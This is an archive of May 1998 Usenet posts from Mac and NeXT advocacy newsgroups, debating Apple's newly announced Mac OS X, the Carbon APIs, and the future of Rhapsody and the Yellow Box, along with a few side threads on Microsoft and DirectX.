after Copland. Now "MacOS X" is the excuse we're getting after Rhapsody.)
For those who say, "But Rhapsody will still ship!," I ask, where is
Apple's modern mainstream OS? It sounds to me like Apple isn't going to
encourage Rhapsody development. Instead, they're making users wait
*another* year for *another* promised modern OS. Somebody at Apple has to
stop these ridiculous course changes. They have to SHIP SOMETHING! They
can't keep promising better and better stuff but never ship any of it.
[I concede the point that Rhapsody would likely have fewer native apps in
1999 that MacOS X will have *IF* MacOS X actually meets its 1999 shipping
date. I am still very skeptical. Rhapsody + BlueBox should be a fair
solution until MacOS X ships... I hope...]
Big unanswered question from today: what happens to Rhapsody and the
Yellow Box? Will Apple have an OS with simple cross-compilation for PPC
and x86, and will that be MacOS X or Rhapsody? Or both or neither?
BTW, kudos to George for being *almost* as correct on Rhapsody as he was
with Copland. Sigh.
--
Eric Bennett (www.pobox.com/~ericb)
Cornell University Biochemistry Department
From: pulsar@springnet1.com (Pulsar)
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: So THAT is the OS stratetgy?
Date: Mon, 11 May 1998 16:23:37 -0600
Organization: University of Illinois at Urbana-Champaign
Message-ID: <pulsar-ya02408000R1105981623370001@news-proxy.cso.uiuc.edu>
References: <pulsar-ya02408000R1105981436070001@news-proxy.cso.uiuc.edu> <B17CAD54-99FF@206.165.43.2>
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In article <B17CAD54-99FF@206.165.43.2>, "Lawson English"
<english@primenet.com> wrote:
> Pulsar <pulsar@springnet1.com> said:
>
<snip>
> >Mac OS X sounds rather like Gershwin, Copland, OpenStep, and the Mac OS
> >combined. That'll be neat if they can pull it off.
>
> But non-Carbon (including emulated 68K, I wonder?) apps are supposed to
> work with MacOS 10 also.
I would presume so since those will probably be running inside the Blue
Box. The Blue Box will run 68k apps (I think).
> And why is this all that neat? It STILL fragments the MacOS market (carbon
> vs non-Carbon) without providing a compelling reason for most MacOS
> developers to use it (here's a hint: more than 1/2 of all installed
> Macintoshes will NOT run Carbon applications because they are not
> PowerMacs).
I don't think there is _anything_ that Apple can do now that doesn't
fragment the market aside from leaving the Mac OS the way it is. The best
Apple can do is minimize the fragmentation.
Also, let's put things somewhat into perspective. How many 030 owners buy
new software? At best, the majority of money going into the software market
coming from that group is due to upgrades. 040 users may be better off
since those machines are faster and typically sold with more memory and
such, but still, these machines are at best 4 years old. Most of the 68k
machines did not come with that much RAM and HD space, and even the chips
aren't really fast enough for a lot of the newer software that is
available. Those 68k machines that were aimed at the high-end might be
capable, but most of those who purchased such machines have long since
upgraded to faster ones (ie. PowerMacs).
It would be nice if 68k machines could still be supported, but I don't
think it's that big a deal. At some point, it simply does not make sense to
support them anymore. When Mac OS X becomes available, it will have been 5
years since the last 68k Macs (desktops anyway) had been sold. That's a
long time as far as the computer industry is concerned.
Ryan Tokarek
<pulsar@springnet1.com>
<http://www.ews.uiuc.edu/~tokarek>
From: ericb@pobox.com (Eric Bennett)
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: So THAT is the OS stratetgy?
Date: Mon, 11 May 1998 18:59:56 -0400
Organization: Cornell University
Sender: emb22@cornell.edu (Verified)
Message-ID: <ericb-1105981859560001@132.236.171.104>
References: <B17C8D50-7E886@206.165.43.134> <35573831.69E8CDC6@milestonerdl.com> <rex-1105981539090001@192.168.0.3> <pulsar-ya02408000R1105981436070001@news-proxy.cso.uiuc.edu>
In article <pulsar-ya02408000R1105981436070001@news-proxy.cso.uiuc.edu>,
pulsar@springnet1.com (Pulsar) wrote:
> Mac OS X sounds rather like Gershwin, Copland, OpenStep, and the Mac OS
> combined. That'll be neat if they can pull it off.
True, but you have to admit that their track record is hardly inspiring.
--
Eric Bennett (www.pobox.com/~ericb)
Cornell University Biochemistry Department
From: ericb@pobox.com (Eric Bennett)
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: So THAT is the OS stratetgy?
Date: Mon, 11 May 1998 19:02:12 -0400
Organization: Cornell University
Sender: emb22@cornell.edu (Verified)
Message-ID: <ericb-1105981902130001@132.236.171.104>
References: <pulsar-ya02408000R1105981436070001@news-proxy.cso.uiuc.edu> <B17CAD54-99FF@206.165.43.2>
In article <B17CAD54-99FF@206.165.43.2>, "Lawson English"
<english@primenet.com> wrote:
> And why is this all that neat? It STILL fragments the MacOS market (carbon
> vs non-Carbon) without providing a compelling reason for most MacOS
> developers to use it (here's a hint: more than 1/2 of all installed
> Macintoshes will NOT run Carbon applications because they are not
> PowerMacs).
And if you believe some reports, there are now three APIs for OS X: System
7, Carbon, and perhaps Yellow Box too. If we're really lucky, the new
"Carbon" APIs will be taken from YB, but I'm not sure if that's workable
given Apple's claims of easy porting to Carbon.
--
Eric Bennett (www.pobox.com/~ericb)
Cornell University Biochemistry Department
From: jason@jhste1.dyn.ml.org
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: cmsg cancel <slrn6lf01o.1lm.jason@jhste1.dyn.ml.org>
Control: cancel <slrn6lf01o.1lm.jason@jhste1.dyn.ml.org>
Date: 11 May 1998 23:04:15 GMT
Organization: MindSpring Enterprises
Message-ID: <6j805f$649$1@camel15.mindspring.com>
ignore
Article canceled by slrn 0.9.4.6
From: "Todd Heberlein" <todd@NetSQ.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Why ''Carbon''?
Date: 11 May 1998 23:11:22 GMT
Organization: Net Squared, Inc.
Message-ID: <01bd7d32$146593c0$04387880@test1>
References: <slrn6lemh4.bct.mbkennel@lyapunov.ucsd.edu>
Matt Kennel <mbkennel@yahoo.com> wrote
> Why are they porting the old-fangled MacOS Toolbox to Rhapsody?
>
> There's essentially only one--very important--reason.
>
> MS Office life support.
Actually, I don't think a single major MacOS software developer
announced plans to support Rhapsody and the YellowBox APIs.
Microsoft, Adobe, Intuit, ... Heck, I don't even think Claris had
made an open commitment to porting all of its applications to
YellowBox.
In short, Apple had failed to convince the big players that it was
worth their time and money to go with OpenStep and be able to take
advantage of preemptive multitasking, memory protection, etc.
"Carbon" is definitely a bow to reality, and I applaud Apple for
recognizing it and doing something about it so quickly. This is a
sign of the new Apple - make a decision and act on it.
Todd
From: rriley@yahoo.com (Rex Riley)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.next.programmer
Subject: Re: Yellowbox programming, and ragosta
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References: <6j2qnb$r2p$2@newsfep1.sprintmail.com> <6j487r$ibo$1@bignews.shef.ac.uk>
<3555ce8a.0@news.depaul.edu>
Message-ID: <xGL51.1323$sy4.2938729@news.rdc1.sdca.home.com>
Date: Mon, 11 May 1998 23:17:49 GMT
NNTP-Posting-Date: Mon, 11 May 1998 16:17:49 PDT
Organization: @Home Network
In <3555ce8a.0@news.depaul.edu> Jonathan W Hendry wrote:
> In comp.sys.mac.advocacy mmalcolm crawford <m.crawford@shef.ac.uk> wrote:
> > On 05/10/98, macghod@concentric.net wrote:
>
> <Macghod's public flailing, questioning something that many people
> other than Joe Ragosta have been doing for years, snipped>
>
> <Mmalc's wisdom also snipped, only with more respect>
>
> >I trust when you have discovered your error you will post a suitable
> >retraction so that whenever anyone cites your original post in the future,
we
> >can direct them to the followup...
>
> And, Macghod, make sure you post back to EACH AND EVERY ONE of the
> newsgroups you compulsively posted this to
>
> Do you have 'Usenet Turet's Syndrome' or something, that makes
> you spastically cross-post to the entire known universe?
>
>
Macghod, having carped long and hard on seemingly insignificant problems, is
Steve Job's posterchild for why you don't release DR software into the cheap
seats. Maybe someday he'll keep his posts where they belong, instead of
Chicken Little posting all over the place...
-r
From: jrudd@cygnus.com (John Rudd)
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: 11 May 1998 22:37:01 GMT
Organization: Cygnus Solutions
Message-ID: <6j7uid$660$1@cronkite.cygnus.com>
References: <6il92r$3cl@bgtnsc01.worldnet.att.net> <6imcmk$oj1$3@ligarius.ultra.net>
<6in44d$jt3@bgtnsc01.worldnet.att.net> <6iomt2$bac$1@ligarius.ultra.net>
<6isqdb$pa4$1@interport.net> <6isudr$39$1@interport.net>
<6it4lv$n71$2@cronkite.cygnus.com> <3552188E.471E@CONVEX.COM>
<35531f8a.0@209.136.2.9> <355346C7.AB5A6546@nstar.net>
<6ivmi0$822$1@cronkite.cygnus.com> <SCOTT.98May8144249@slave.doubleu.com>
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Cc: scott@doubleu.com
In <SCOTT.98May8144249@slave.doubleu.com> Scott Hess wrote:
> In article <6ivmi0$822$1@cronkite.cygnus.com>,
> jrudd@cygnus.com (John Rudd) writes:
> In <355346C7.AB5A6546@nstar.net> "Michael J. Peck" wrote:
> > Dave Walker wrote:
> > > Hey... add me to it as well.
> >
> > Sorry, first you have to say something incredibly malicious and,
> > frankly, sick, about an innocent group of people.
> <...>
> The sheepish users aren't innocent. They're as guilty as the
> German citizens who knew what was happening to the Jews and quietly
> allowed it to happen.
>
> Was this a not-so-subtle attempt to cause the thread to implode? This
> is as much of a stretch as the op-ed piece comparing Jerry Springer to
> Pol Pot in a recent San Jose Mercury.
>
It was a combination of things..
1) a bad week at work.
2) running out of patience for people (like Harvard professors) making claims
of the form that if MS doesn't get to release win98 the world will come to
screaching halt. (trust me, it wont)
3) wanting to show the absurdity of #2 with something else equally absurd
(which I did completely fail at.. instead I just created something absurd
without it reflecting on the original claims at all).
4) and yes, a general desire to just see the thread go away :-} (I forgot
the corollary to the "nazi" rule: it doesn't work if you do it on purpose).
5) lack of sleep the night before that impaired my better judgement, causing
me to actually go ahead and post instead of just ignoring the thread.
To all those involved, while I do find those who make claims like #2 to just
be a bunch of whiners, I'm sorry about my two posts in this thread last week.
They were very much beyond reasonable statements. Please chalk it up to the
male equivelant of PMS, and please accept my appologies. It was one of those
weeks.
(though, in reply to one of the people who replied to me.. I've never claimed
to be a MacOS advocate.. I've been a Unix user since 86, and would never use
any non-unix platform for anything in my personal life but running games
(win95 or macos) or as a virtual processor layer for other OS's (virtual pc
on macos). (in my professional life, I use whatever tool is best for the job
at hand, which incidently is rarely anything from MS) If I'm an advocate of
anything, it's the NeXT technologies)
--
John "kzin" Rudd jrudd@cygnus.com http://www.cygnus.com/~jrudd
Intel: Putting \"I want a pair of Daisy Eagle semi-auto paintball pistols
the backward in \in shoulder rigs. Who cares if you win the game as long
backward compatible\as you can John Woo as you dive over obstacles?" - anon
From: scott@doubleu.com (Scott Hess)
Newsgroups: comp.sys.next.advocacy,comp.sys.windows.advocacy,comp.sys.mac.advocacy
Subject: Re: OPEN LETTER TO Dr. Gregory Mankiw REGARDING MICROSOFT
Organization: Is a sign of weakness
Message-ID: <SCOTT.98May8142331@slave.doubleu.com>
References: <35522293.731DC4F3@alum.mit.edu>
<stevewhite-0705982058110001@d148-218.ce.mediaone.net>
<355337E7.AB397170@alum.mit.edu> <35534C47.454F66AA@trilithon.com>
<6iv3ne$ekq$3@ns3.vrx.net>
In-reply-to: maury@remove_this.istar.ca's message of 8 May 1998 14:09:50 GMT
Date: 11 May 1998 17:50:45 -0500
In article <6iv3ne$ekq$3@ns3.vrx.net>,
maury@remove_this.istar.ca (Maury Markowitz) writes:
In <35534C47.454F66AA@trilithon.com> Henry McGilton claimed:
> Hi Eric. Maybe it's just me, but I didn't read his remarks to
> you as a cop out. What I read into his reply to you is that he
> wants the government out of free-market decision making. We have
> ample historical evidence that governmental interference in the
> operations of the marketplace either don't change anything very
> much, or are a positive drag on the business(es) under
> consideration.
[snip Standard Oil example]
And we have an even better and more modern example of the opposite
- AT&T. After breakup service quality and types of service has
skyrocketted to the consumer, and rates have plummetted - all at
the same time that AT&T ended up better off than ever before and at
the same time is clearly no longer a monopoly. It worked so well
they did ANOTHER breakup on their own - and while everyone figured
Bell Labs was no dead with no "parent" to support it, Lucent is now
making TONNES of money. EVERYONE won on that deal.
I'm not _quite_ sure what it is your intention was, there, but I've
always thought of the AT&T breakup as a shining example of how an
industry can get better when some of the regulation is _removed_. You
do realize, don't you, that AT&T didn't become Ma Bell entirely
through their own efforts, don't you?
So far as I'm aware, the government hasn't laid down regulations which
_enforce_ the Microsoft monopoly,
--
scott hess <scott@doubleu.com> (408) 739-8858 http://www.doubleu.com/
<Favorite unused computer book title: The Compleat Demystified Idiots
Guide to the Zen of Dummies in a Nutshell in Seven Days, Unleashed>
From: scott@doubleu.com (Scott Hess)
Newsgroups: comp.sys.next.programmer,comp.sys.next.advocacy
Subject: Re: whats up with zoneraiders?!?/!
Organization: Is a sign of weakness
Message-ID: <SCOTT.98May9211551@slave.doubleu.com>
References: <6j04ej$nvc$1@newsfep4.sprintmail.com>
<6j0ao6$k5s$1@crib.bevc.blacksburg.va.us>
<6j0ar7$k6q$1@crib.bevc.blacksburg.va.us>
In-reply-to: nurban@crib.bevc.blacksburg.va.us's message of 8 May 1998 21:17:27 -0400
Date: 11 May 1998 17:50:49 -0500
In article <6j0ar7$k6q$1@crib.bevc.blacksburg.va.us>,
nurban@crib.bevc.blacksburg.va.us (Nathan Urban) writes:
In article <6j0ao6$k5s$1@crib.bevc.blacksburg.va.us>,
nurban@vt.edu wrote:
> In article <6j04ej$nvc$1@newsfep4.sprintmail.com>,
> macghod@concentric.net wrote:
> > Zoneraiders is out, and it is for rhapsody for ppc ONLY. I
> > thought something written for rhapsody would work on BOTH
> > rhapsodies? And openstep as well? Why in gods name would
> > zoneraiders be ppc only?
>
> Maybe they didn't have an Intel box to test it on so didn't want
> to risk releasing it even if it should theoretically work,
I guess another possibility would be they just didn't install the
binaries necessary for building other architectures, conceivably to
save disk space. But I'm just guessing..
Or perhaps the version of Rhapsody they have never gave them the
option of installing the support for cross-compiling?
--
scott hess <scott@doubleu.com> (408) 739-8858 http://www.doubleu.com/
<Favorite unused computer book title: The Compleat Demystified Idiots
Guide to the Zen of Dummies in a Nutshell in Seven Days, Unleashed>
From: aa829@ccn.cs.dal.ca (Charlie Mingo)
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: So THAT is the OS stratetgy?
Date: Mon, 11 May 1998 19:02:20 -0400
Organization: PANIX Internet and Unix, NYC
Message-ID: <aa829-1105981902200001@port15.dial4.gain-ny.com>
References: <pulsar-ya02408000R1105981436070001@news-proxy.cso.uiuc.edu> <B17CAD54-99FF@206.165.43.2>
Mail-Copies-To: always
In article <B17CAD54-99FF@206.165.43.2>, "Lawson English"
<english@primenet.com> wrote:
> But non-Carbon (including emulated 68K, I wonder?) apps are supposed to
> work with MacOS 10 also.
No 68K code is allowed in OS X...
: Because Mac OS X will not run 68K code, the Mixed Mode Manager will not
: serve any useful purpose on that platform. In Mac OS 8, Carbon fully supports
: the Mixed Mode Manager.
Rgds
--
mingo "at" panix "dot" com
From: David Yeh <dly8b@Virginia.EDU>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: 11 May 1998 23:10:24 GMT
Organization: University of Virginia
Message-ID: <6j80h0$inc$1@murdoch.acc.Virginia.EDU>
References: <ericb-1105981718430001@132.236.171.104> <slrn6lf0cs.ck3.mbkennel@lyapunov.ucsd.edu>
In comp.sys.mac.advocacy Matt Kennel <mbkennel@yahoo.com> wrote:
> Apple has been trying to push YB for a while, but the 'big hitters' kept on
> saying that wasn't good enough. It's not going to be Steved.
I wondering why it wasn't good enough.
-dave
From: macghod@concentric.net
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Lawson's impact?
Date: 11 May 1998 23:40:30 GMT
Message-ID: <6j829e$9j3$1@newsfep4.sprintmail.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
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Anyone notice that macos X will include quickdraw? Isnt this Lawson's love
and joy?
--
Running on Openstep 4.2, the best os in the world, and about to get better!
Mac/openstep qa work desired, email me for resume
NeXTMail and MIME OK!
From: Cosmo Roadkill <cosmo.roadkill%bofh.int@rauug.mil.wi.us>
Newsgroups: comp.sys.next.advocacy,comp.sys.next.announce,comp.sys.next.bugs,comp.sys.next.hardware,comp.sys.next.marketplace,comp.sys.next.misc,comp.sys.next.programmer,comp.sys.next.software,comp.sys.next.sysadmin,comp.sys.northstar
Subject: cmsg cancel <6j82dn$9ad$112@news.on>
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From: macghod@concentric.net
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: So THAT is the OS stratetgy?
Date: 11 May 1998 23:44:28 GMT
Message-ID: <6j82gs$9j3$2@newsfep4.sprintmail.com>
References: <pulsar-ya02408000R1105981436070001@news-proxy.cso.uiuc.edu> <B17CAD54-99FF@206.165.43.2>
<aa829-1105981902200001@port15.dial4.gain-ny.com>
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Cc: aa829@ccn.cs.dal.ca
In <aa829-1105981902200001@port15.dial4.gain-ny.com> Charlie Mingo wrote:
> In article <B17CAD54-99FF@206.165.43.2>, "Lawson English"
> <english@primenet.com> wrote:
>
> > But non-Carbon (including emulated 68K, I wonder?) apps are supposed to
> > work with MacOS 10 also.
>
> No 68K code is allowed in OS X...
>
> : Because Mac OS X will not run 68K code, the Mixed Mode Manager will not
> : serve any useful purpose on that platform. In Mac OS 8, Carbon fully
supports
> : the Mixed Mode Manager.
I think you forgot their is a difference between ppc code IN THE OS, versus
the os RUNNING 68k code.
--
Running on Openstep 4.2, the best os in the world, and about to get better!
Mac/openstep qa work desired, email me for resume
NeXTMail and MIME OK!
From: pulsar@springnet1.com (Pulsar)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: Mon, 11 May 1998 18:44:07 -0600
Organization: University of Illinois at Urbana-Champaign
Message-ID: <pulsar-ya02408000R1105981844070001@news-proxy.cso.uiuc.edu>
References: <ericb-1105981718430001@132.236.171.104> <pulsar-ya02408000R1105981648110001@news-proxy.cso.uiuc.edu> <ericb-1105981832070001@132.236.171.104>
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In article <ericb-1105981832070001@132.236.171.104>, ericb@pobox.com (Eric
Bennett) wrote:
> In article <pulsar-ya02408000R1105981648110001@news-proxy.cso.uiuc.edu>,
> pulsar@springnet1.com (Pulsar) wrote:
>
> > You're overreacting! There are still things that are unclear! Making
> > definitive judgements based on this evidence is only going to get you
> > angry.
>
> I admit that the thread title is overdone. Part of my motivation there
> was to steal the thunder of the Wintellians before we have identical
> threads started by Elam, Hughes, McNorton and friends. It probably won't
> work.
Nope... they already fired off their inflamatory posts on this subject. :)
> > Rhapsody 1.0 is due for release in Q3 '98. That implies later this summer
> > or early fall. This was in the speech.
>
> I know. But what are Apple's plans for Rhapsody? We were supposed to
> learn Apple's OS strategy at WWDC, and there is precious little about
> Rhapsody. All I'm hearing is "we'll ship version 1.0." Fine; what comes
> after that? If Apple revealed its OS strategy today, then I can only
> conclude that Apple has *no* strategy for Rhapsody.
There is more to come with WWDC. We've not yet seen it all. As I understand
the rumors, Sonata is the Yellow Box with the Blue Box without the Unix
stuff. I suspect that will do for a mainstream OS.
> I will probably buy Rhapsody 1.0 and be quite happy with it. My concern
> is that Apple is still a long way away from shipping a mainstream modern
> OS. MacOS 8.x is Apple's mainstream OS until late 1999 at the earliest.
Don't forget Sonata. Rhapsody as it starts out probably won't be
appropriate as a mainstream OS. Mac OS will continue even immediately after
the release of Rhapsody to be the mainstream OS, I suspect. Perhaps it will
remain like that until Mac OS X, but we don't really know. The uncertainty
is very annoying, but it's not a reason to go on a rampage yet. :)
> > > Apple also announced that this new OS will only run on G3 machines.
> >
> > That's what macweek says. Apple's press release says that it "will be fully
> > optimized for Apple's PowerPC G3 based computers." That does not preclude
> > support for all other PowerMacs.
>
> Who do you trust? It's probably going to be the same as for Rhapsody; the
> official line will be, "We promise it will run on G3s but
> maybe--MAYBE--we'll support older machines too." (Yeah, right...)
Since MacWeek was just paraphrasing (perhaps inaccurately) what was said at
the conference, I trust Apple's statements more. Apple's statement
certainly does not gaurantee support for all the PowerMacs, but it does not
entirely exclude the possibility either.
It would be phenominally stupid for Apple to support the G3 PowerMacs
exclusively. They've done dumb things in the past, but I have a little
faith (hope?) that they aren't that foolish.
> > Rhapsody is supposed to ship Q3 '98 according to the keynote address.
> > Rhapsody will ship! The Yellow Box will be present in Mac OS X too!
>
> I know that Rhapsody will ship! My objection is that Apple's mainstream
> OS for the average Mac user is not shipping until 1999! The average Mac
> user wants Apple to ship an OS that doesn't crash and an OS with better
> performance (particularly the former). Apple is now specifically stating
> that Rhapsody is not that OS.
I'm not sure it ever was. Rhapsody as it starts out will probably not be
suitable for the mainstream. Sonata might be. Mac OS X will be (assuming
Apple follows through with it). I think people and Apple were rather
deluded by thinking that Rhapsody could stand as an immediate replacement
for Mac OS. I will buy the instant it becomes available and I will use it,
but I doubt it will become mainstream for a little while.
> > Mac OS X just provides a way for developers of Mac OS software not to have
> > to entirely rewrite their programs to get PM/PMT/VM/etc. For those writing
> > new programs and for those who are going to rewrite their programs anyway,
> > the Yellow Box will be the best solution.
>
> In other words, you can count out all of today's major software
> publishers? I see Adobe happily demoing Photoshop on Carbon. But they
> aren't porting to Rhapsody (no demos there), nor is Apple giving them a
> reason to do so.
Were they going to anyway? Could Apple give them a real reason to do so? If
they weren't then won't Carbon be better than nothing at all? Apple has
made enough grandiose promises in the past without following through that
developers are being very cautious. Some may have given up entirely.
Writting for the Yellow Box still has all the cross-platform advantages it
had before this announcement. The Carbon APIs can in no way be considered a
replacement (as I see it). They are there for those who had no intention of
rewriting for YB in the first place. Whatever the cause of this (whether
lack of trust in Apple's ability to follow through or lack of willingness
to put forth the effort), Apple cannot do much of anything to entice this
group towards the YB. For them there is Carbon.
There are some indications that some at Adobe are at least looking into
Rhapsody (judging by the comments of the NeXT developers). We don't really
know what's going on. It's only been a few hours since the announcement and
there are still 4 days left to the conference (or are there 3?).
Let's not spread unnecessary FUD. When, within a few days, things become
clearer, there may be good reason to feel FUD. Right now there's really
only justification for Uncertainty.
<snip>
> The yellow box and cross-compilation are great, but not if everybody
> writes to nonportable Carbon APIs instead. [An x86 blue box would sure be
> nice, but there is no indication that this will happen.]
Anyone writting a new application will find it much better to go with YB.
Anybody who wasn't going to take the trouble to rewrite their app from the
Mac OS to the YB can now at least take advantage of PM/PMT/VM with
relatively little work.
It would make little sense for someone writting a new application or
someone rewritting an application anyway to use Carbon since YB will
provide a much larger market and will be much easier to maintain. The YB
will be developed further and extended. Carbon (as I see it) is largely a
dead end. It's just a temporary solution.
Ryan Tokarek
<pulsar@springent1.com>
<http://www.ews.uiuc.edu/~tokarek>
From: ctm@ardi.com (Clifford T. Matthews)
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: So THAT is the OS stratetgy?
Date: 11 May 1998 17:35:42 -0600
Organization: ARDI
Sender: ctm@ftp.ardi.com
Message-ID: <ufemy0gz3l.fsf@ftp.ardi.com>
References: <B17C8D50-7E886@206.165.43.134> <35573831.69E8CDC6@milestonerdl.com> <rex-1105981539090001@192.168.0.3> <355747DE.B4BF976B@milestonerdl.com>
>>>>> "Mark" == M Rassbach <mark@milestonerdl.com> writes:
Mark> And, if YellowBox is to be de-emphized, and later scrapped,
Mark> developers don't have an easy migration path OFF of Apple
Mark> hardware...like yellowbox can now offer.
Ding.
From: nhughes@sunflower.com (Nathan Hughes)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: Sun, 10 May 1998 23:54:36 GMT
Organization: is a sign of a sick mind.
Message-ID: <35593b48.6388203@198.0.0.100>
References: <ericb-1105981718430001@132.236.171.104> <pulsar-ya02408000R1105981648110001@news-proxy.cso.uiuc.edu> <ericb-1105981832070001@132.236.171.104>
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On or about Mon, 11 May 1998 18:32:07 -0400, in comp.sys.mac.advocacy
ericb@pobox.com (Eric Bennett) exclaimed :
>> You're overreacting! There are still things that are unclear! Making
>> definitive judgements based on this evidence is only going to get you
>> angry.
>
Mac mantra 1996:
When copland comes out its gonna be way better than NT
Mac mantra 1997:
When Rhapsody comes out, its gonna kick NTs butt.
Mac mantra 1998:
Macos10 comes out, NT's going down.
Ok, boys you know the new words... start chanting.
Seriously though, has anyone here noticed that apple seems to announce
a "revolutionary" new OS about every 18 months? there is a word for
that... Vapor.
<s>
>threads started by Elam, Hughes, McNorton and friends. It probably won't
>work.
Hughes has tried to be a little nicer lately. Of course, since you
accuse me of starting such threads (which I don't) I might as well
jump in on this one.
Nathan A. Hughes
MFA Candidate
The University Theatre KU
http://scenedesign.home.ml.org
From: glhansen@copper.ucs.indiana.edu (Gregory Loren Hansen)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: 12 May 1998 00:05:50 GMT
Organization: Indiana University, Bloomington
Message-ID: <6j83ou$fog$1@flotsam.uits.indiana.edu>
References: <ericb-1105981718430001@132.236.171.104> <6j7rku$cbc$1@pith.uoregon.edu>
In article <6j7rku$cbc$1@pith.uoregon.edu>,
Wesley Horner <wesman@azrael.uoregon.edu> wrote:
>Eric Bennett <ericb@pobox.com> wrote:
>
>> Apple announced today that its OS future is a revised MacOS "merged" with
>> a Rhapsody core, but the telling feature is that it largely retains (and
>> Apple is stressing) API compatibility with the current MacOS. So Apple is
>> effectively telling developers, "Screw Rhapsody." Ought to make the
>> NeXTies happy, right?
>
>Whoa! Slow down. They didn't even get that into it yet. They didn't say
>anything about screwing the next community. All I saw was the mac os toolbox
>implemented on top of rhapsody. That would be in addition to the openstep
>stuff that is already there. I for one am excited that there will be apps for
>this thing that I am used to (photoshop, macromedia stuff, etc.). Don't judge
>the software strategy untill you have heard the whole story.
I really think the best and most painless strategy would be something like
NeXT with a Macified GUI (and optional traditional GUI to keep the NeXTies
happy), with MAE running on NeXT for backwards compatibiilty. They
shouldn't "roll in" Rhapsody stuff, they should just *use* NeXT the way it
was meant to be used, say goodbye to the era of Pascal-based system
functions, and declare System N dead except in emulation.
Either you jump off the diving board or you don't, it doesn't do much good
to be hanging on to the edge with three fingers.
They pulled it off with PowerPC. What's the basic problem with this one?
--
Stay alert! Trust no one! Keep your laser handy! The Computer is
your Friend!
From: jhimmel@i-2000.com (James Himmelman)
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.amiga.advocacy,comp.os.ms-windows.advocacy,comp.sys.mac.advocacy,comp.os.os2.advocacy
Subject: Re: Windoze Sux: DirectX vs NT50
Date: 11 May 1998 22:09:11 GMT
Organization: I-2000 Inc., Internet Services
Message-ID: <uprsNDlpp0Dh-pn2-h64JkmI88V0D@dyn67.tc1.mineola.i-2000.net>
References: <Pine.BSF.3.96.980504124037.28470A-100000@shell4.ba.best.com> <199805051707.MAA01735@comp.uark.edu> <Pine.BSF.3.96.980505110737.20648B-100000@shell4.ba.best.com> <casper-0505981900370001@wheat-d-19.monroeville.nb.net> <6j2q9p$2mg$1@usenet11.supernews.com> <MPG.fbec2e0148eba92989d7b@news1.mnsinc.com> <M3mPvLdzxX1t-pn2-BL3e0qwzKqDg@p210-67-34-153.ts.sysnet.net.tw> <6j497o$r5q$1@nargun.cc.uq.edu.au> <uprsNDlpp0Dh-pn2-xWG5dQM4sr46@dyn49.tc1.mineola.i-2000.net> <35567494.822830@news.qualcomm.com>
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On Mon, 11 May 1998 03:50:33, sdenbes1@san.rr.com (Steven C. Den
Beste) wrote:
> >Can you tell me what DirectX would do for me? I don't play computer
> >games, so I'm wondering what I might be missing by not having directX.
> >I use my computer for letters (AmiPro/2), several database's involving
> >costomer information (DBExpert and now looking at Approach/2),
> >acounting (CA Simply accounting for OS/2), faxing (FaxworksPro/2),
> >Personal information (scheduling mainly - IBM Works PIM and now
> >looking at Organizer/2), access to my banking (WinOS/2), access to
> >trading (WinOS/2 and now through Schwab Internet access), and of
> >course Internet interaction (Netscape/2, MR/2 ICE, ProNews/2).
> >[[[ James Himmelman - jhimmel@i-2000.com ]]]
> It is entirely possible that you in particular don't have any use for
> DirectX. I don't think anyone claimed it had universal appeal. Of course,
> that doesn't mean that no-one at all will benefit from it.
Of course. I have no doubt that Win95 gamers will benefit from it -
assuming it works well.
[[[ James Himmelman - jhimmel@i-2000.com ]]]
From: rkt1@cornell.eduz (Tapella)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: Mon, 11 May 1998 18:11:21 -0400
Organization: Cornell U.
Sender: rkt1@cornell.edu (Verified)
Message-ID: <rkt1-1105981811210001@cu-dialup-2006.cit.cornell.edu>
References: <ericb-1105981718430001@132.236.171.104> <6j7rku$cbc$1@pith.uoregon.edu>
Thought I'd mention that Scott Anguish posted a quickie update to
StepWise ( http://www.stepwise.com/SpecialCoverage/WWDC98/index.html )
saying:
IMPORTANT
There is alot of hysteria about the lack of mention of Yellow Box in the
keynote this morning.
The fact is, that the Yellow Box is alive and well. It is being extended.
Objective-C is alive and well, and is also being extended.
Carbon is a re-vamped Mac OS toolbox designed to bring legacy applications
to Mac OS X. It is a replacement for the blue box that give the old
applications access to the new capabilities, without isolating them in a
separate work environment.
From the press release:
"Later this year Apple will ship the first customer release of Rhapsody, a
new operating system that Apple is providing as a server platform for
publishing and Internet solutions. Rhapsody contains technologies key to
Mac OS X, including a microkernel-based core OS and an advanced software
development environment."
The advanced software development environment *is* Yellow Box.
More later... I'm rushing to another session.
In article <6j7rku$cbc$1@pith.uoregon.edu>, Wesley Horner
<wesman@azrael.uoregon.edu> wrote:
